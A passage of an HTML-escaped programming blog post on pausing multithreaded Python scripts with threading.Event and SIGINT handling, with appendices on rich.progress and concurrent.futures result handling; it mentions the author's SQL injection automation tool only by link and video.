        &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;KeyboardInterrupt&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; EOFError&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# Treat Ctrl+C and Ctrl+D as &quot;no&quot;.&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;Got &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__class__&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__name__&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;. You don&#92;&#39;t have to be thaat rude. :(&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
        
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;y&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;elif&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;n&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;Okay, byeeeee.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;conclusion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#conclusion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Conclusion&lt;/h2&gt;
&lt;p&gt;To show &lt;s&gt;off&lt;/s&gt; this potential in an interactive tool, here&#39;s a short clip where I integrated the techniques here into my &lt;a href=&quot;https://github.com/TrebledJ/bsqli.py&quot;&gt;nifty little SQL injection automation&lt;/a&gt; (for ethical hacking purposes).&lt;/p&gt;
&lt;div class=&quot;mb-2 rw center jw-100 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/demo3.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;On the left panel, we seamlessly execute various commands, pausing twice with Ctrl+C, with the option of configuring the delay, timeout, and log level. An updated version allows toggling the proxy!&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;This post demonstrated how to add interactive pausing to your multithreaded Python script with zero additional dependencies. Despite the simplicity, there are a few other things to explore that we haven&#39;t discussed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pausing with processes or asyncio.&lt;/strong&gt; Each of these has their own Event objects. Processes have &lt;a href=&quot;https://docs.python.org/3/library/multiprocessing.html#multiprocessing.Event&quot;&gt;&lt;code&gt;multiprocessing.Event&lt;/code&gt;&lt;/a&gt;. asyncio has &lt;a href=&quot;https://docs.python.org/3/library/asyncio-sync.html#event&quot;&gt;asyncio.Event&lt;/a&gt;. These are also worth exploring.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger pause with an arbitrary key.&lt;/strong&gt; Instead of relying on Ctrl+C and SIGINT, is it possible to listen for arbitrary keys and pause with them? This seems difficult to implement without additional dependencies and may require native API wrangling (see the &lt;code&gt;keyboard&lt;/code&gt; package).
&lt;ul&gt;
&lt;li&gt;It is possible to capture input on a separate thread with &lt;code&gt;getch&lt;/code&gt; implementations (&lt;a href=&quot;https://stackoverflow.com/q/510357/10239789&quot;&gt;see here&lt;/a&gt;). This blocks while waiting for input. However, issues arise when considering other UX aspects.&lt;/li&gt;
&lt;li&gt;What if the user presses Ctrl+C? SIGINT (and signals, in general) are &lt;a href=&quot;https://docs.python.org/3/library/signal.html&quot;&gt;always executed in the main thread&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;What if the processing finishes without the user entering input? The thread receiving input would need to be killed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Off-by-One Delay.&lt;/strong&gt; Currently, our execution is &lt;strong&gt;delay&lt;/strong&gt; → &lt;strong&gt;work&lt;/strong&gt; → &lt;strong&gt;delay&lt;/strong&gt; → &lt;strong&gt;work&lt;/strong&gt;, but the first delay isn&#39;t actually needed. This should be fairly trivial to fix, but I decided to leave it out from the example to avoid overcomplication. Exercise for the reader and all that.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a id=&quot;logical-end-of-article&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;tl-dr&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#tl-dr&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; tl;dr&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;threading.Event&lt;/code&gt; to synchronise events (e.g. pause) and sleep.
&lt;ul&gt;
&lt;li&gt;Use three events: one to signal pause, one to signal resume, and one to indicate resume or quit.&lt;/li&gt;
&lt;li&gt;Write a &lt;code&gt;delay()&lt;/code&gt; function which calls &lt;code&gt;pause_event.wait(SLEEP_SEC)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;signal.signal&lt;/code&gt; to customise Ctrl+C (which triggers SIGINT). The handler should call &lt;code&gt;pause_event.set()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Adjust the environment before and after the pause menu, such as temporarily restoring Python&#39;s SIGINT handler.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;references&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#references&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/29082411&quot;&gt;SO: Python time.sleep() vs event.wait()&lt;/a&gt; (goes into low level implementation deets)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/threading.html#event-objects&quot;&gt;Python 3 Docs: threading.Event&lt;/a&gt;  (very simple and clear docs)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/signal.html&quot;&gt;Python 3 Docs: signal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/concurrent.futures.html&quot;&gt;Python 3 Docs: concurrent.futures&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;appendix&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#appendix&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Appendix&lt;/h2&gt;
&lt;h3 id=&quot;appendix-a-bonus-rich-progress&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#appendix-a-bonus-rich-progress&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Appendix A: Bonus - rich.progress&lt;/h3&gt;
&lt;p&gt;If you&#39;re using &lt;code&gt;rich.progress&lt;/code&gt; to liven up your UI, you may find the live progress bar conflicts with our custom pause menu. To disable the live progress, you can manually adjust the class members before entering the pause menu in &lt;code&gt;main()&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-python language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-python language-python&quot;&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Disable live progress.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# prog is an instance of rich.progress.Progress.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;task_ids&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visible&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; refresh&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;disable &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auto_refresh &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;is_interactive &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_interactive
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_interactive &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;cont &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; main_pause_menu&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# -- snip --&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Re-enable live progress...&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_interactive &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; is_interactive
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auto_refresh &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;disable &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;task_ids&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visible&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; refresh&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is very hacky, because the properties aren&#39;t documented and could potentially change, but it works pretty well.&lt;/p&gt;
&lt;h3 id=&quot;appendix-b-handling-future-results&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#appendix-b-handling-future-results&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Appendix B: Handling Future Results&lt;/h3&gt;
&lt;p&gt;AFAIK, there are three main ways of handling future results from &lt;code&gt;concurrent.futures&lt;/code&gt;. Keep in mind some approaches may be better for your script.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;concurrent.futures.wait&lt;/code&gt;. Polls and partitions an iterable of futures into &lt;code&gt;done&lt;/code&gt; and &lt;code&gt;not_done&lt;/code&gt; sets. Does not block main thread when &lt;code&gt;timeout&lt;/code&gt; is specified. Result handling runs in main thread.&lt;/p&gt;
&lt;p&gt;For the &amp;quot;other stuff&amp;quot; to run responsively, the &lt;code&gt;timeout&lt;/code&gt; parameter in &lt;code&gt;concurrent.futures.wait()&lt;/code&gt; should be relatively small, and the result handling shouldn&#39;t take too long.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        not_done&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Process results while waiting.&lt;/span&gt;
        done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; done&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# Handle thread result.&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished all tasks!&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;
        
        &lt;span class=&quot;token comment&quot;&gt;# Do other stuff...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;concurrent.futures.as_completed&lt;/code&gt;. This returns an iterable of completed futures. Blocks main thread. Result handling runs in main thread.&lt;/p&gt;
&lt;p&gt;This is &lt;strong&gt;not&lt;/strong&gt; a reliable way to integrate with the flow demonstrated in this post.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    futures &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; f &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;as_completed&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token comment&quot;&gt;# Do other stuff? Not necessarily consistent or responsive though.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;future.add_done_callback()&lt;/code&gt;. This fires a callback upon completion of each future. Does not block main thread. Result handling may not run in main thread.&lt;/p&gt;
&lt;p&gt;Probably the &amp;quot;cleanest&amp;quot; way to integrate with the flow demonstrated in this post, unless you handle &lt;code&gt;future.result()&lt;/code&gt; in a non-thread-safe manner, in which case... beware race conditions.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
